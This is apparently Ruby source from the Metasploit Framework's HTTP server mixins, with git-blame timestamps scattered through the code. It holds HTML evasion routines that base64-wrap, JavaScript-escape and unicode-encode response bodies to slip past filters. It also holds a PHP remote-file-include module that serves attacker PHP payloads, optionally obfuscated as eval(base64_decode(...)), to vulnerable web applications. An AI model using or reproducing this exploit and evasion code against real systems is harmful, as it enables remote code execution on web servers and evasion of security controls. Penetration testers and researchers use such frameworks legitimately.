#
# HTML evasions are implemented here.
def send_response_html ( cli , body , headers = { } )
body = body . to_s . unpack ( " C* " ) . pack ( " C* " )
if datastore [ 'HTML::base64' ] != 'none'
case datastore [ 'HTML::base64' ]
when 'plain'
body = Rex :: Text . encode_base64 ( body )
when 'single_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'double_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'random_space_injection'
body = Rex :: Text . encode_base64 ( body )
new = ''
while ( body . size > 0 )
new << body . slice! ( 0 , rand ( 3 ) + 1 ) + Rex :: Text . rand_text ( rand ( 5 ) + 1 , '' , " \n " )
end
body = new
end
body = '<HTML><BODY><OBJECT ID="' + Rex :: Text . rand_text_alpha ( rand ( 10 ) + 5 ) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
end
if datastore [ 'HTML::javascript::escape' ] > 0
datastore [ 'HTML::javascript::escape' ] . times {
body = '<script>document.write(unescape("' + Rex :: Text . to_hex ( body , '%' ) + '"))</script>'
}
end
if [ 'utf-16le' , 'utf-16be' , 'utf32-le' , 'utf32-be' , 'utf-7' , 'utf-8' ] . include? ( datastore [ 'HTML::unicode' ] )
headers [ 'Content-Type' ] = 'text/html; charset= ' + datastore [ 'HTML::unicode' ]
body = Rex :: Text . to_unicode ( body , datastore [ 'HTML::unicode' ] )
else
# special cases
case datastore [ 'HTML::unicode' ]
when 'utf-16be-marker'
headers [ 'Content-Type' ] = 'text/html'
body = " \xFE \xFF " + Rex :: Text . to_unicode ( body , 'utf-16be' )
when 'utf-7-all'
headers [ 'Content-Type' ] = 'text/html; charset=utf-7'
body = Rex :: Text . to_unicode ( body , 'utf-7' , 'all' )
when 'none'
# do nothing
else
raise RuntimeError , 'Invalid unicode. how did you get here?'
end
end
send_response ( cli , body , headers )
end
2006-01-27 22:02:35 +00:00
end
2006-12-17 07:57:51 +00:00
###
#
2009-03-08 23:02:53 +00:00
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
2006-12-17 07:57:51 +00:00
#
###
module Exploit::Remote::HttpServer::PHPInclude
2013-08-30 16:28:33 -05:00
include Msf :: Exploit :: Remote :: HttpServer
def initialize ( info = { } )
# Override TCPServer's stance of passive
super ( update_info ( info , 'Stance' = > Msf :: Exploit :: Stance :: Aggressive ) )
register_evasion_options (
[
OptEnum . new ( 'PHP::Encode' , [ false , 'Enable PHP code obfuscation' , 'none' , [ 'none' , 'base64' ] ] ) ,
] , Exploit :: Remote :: HttpServer :: PHPInclude
)
end
# Since these types of vulns are Stance::Aggressive, override HttpServer's
# normal non-automatic behaviour and allow things to run us automatically
def autofilter
true
end
##
# :category: Exploit::Remote::TcpServer overrides
#
# Override exploit() to handle service start/stop
#
# Disables SSL for the service since we always want to serve our evil PHP
# files from a non-ssl server. There are two reasons for this:
# 1. https is only supported on PHP versions after 4.3.0 and only if
# the OpenSSL extension is compiled in, a non-default configuration on
# most systems
# 2. somewhat less importantly, the SSL option would conflict with the
# option for our client connecting to the vulnerable server
#
def exploit
old_ssl = datastore [ " SSL " ]
datastore [ " SSL " ] = false
start_service
datastore [ " SSL " ] = old_ssl
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
# print_error("Warning: the URL used for the include might be wrong!")
# print_error("If the target system can route to #{srvhost_addr} it")
# print_error("is safe to ignore this warning. If not, try using a")
# print_error("reverse payload instead of bind.")
#end
begin
print_status ( " PHP include server started. " ) ;
php_exploit
:: IO . select ( nil , nil , nil , 5 )
rescue :: Interrupt
raise $!
ensure
stop_service
end
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload ( cli , body , headers = { } )
case datastore [ 'PHP::Encode' ]
when 'base64'
body = " <?php eval(base64_decode(' #{ Rex :: Text . encode_base64 ( body ) } '));?> "
when 'none'
body = " <?php #{ body } ?> "
end
send_response ( cli , body , headers )
end
##
# :category: Event Handlers
#
# Handle an incoming PHP code request
#
def on_request_uri ( cli , request , headers = { } )
# Re-generate the payload
return if ( ( p = regenerate_payload ( cli ) ) == nil )
# Send it to the application
send_php_payload ( cli , p . encoded , headers )
end
#
# The PHP include URL (pre-encoded)
#
# Does not take SSL into account. For the reasoning behind this, see
# {#exploit}.
#
# @return [String] The URL to be used as the argument in a call to
# +require+, +require_once+, or +include+ or +include_once+ in a
# vulnerable PHP app.
def php_include_url ( sock = nil )
host = srvhost_addr
if Rex :: Socket . is_ipv6? ( host )
host = " [ #{ host } ] "
end
" http:// #{ host } : #{ datastore [ 'SRVPORT' ] } #{ get_resource ( ) } ? "
end
2009-11-03 18:09:05 +00:00
2006-12-17 07:57:51 +00:00
end
2008-11-18 15:13:27 +00:00
end
2010-07-14 17:06:44 +00:00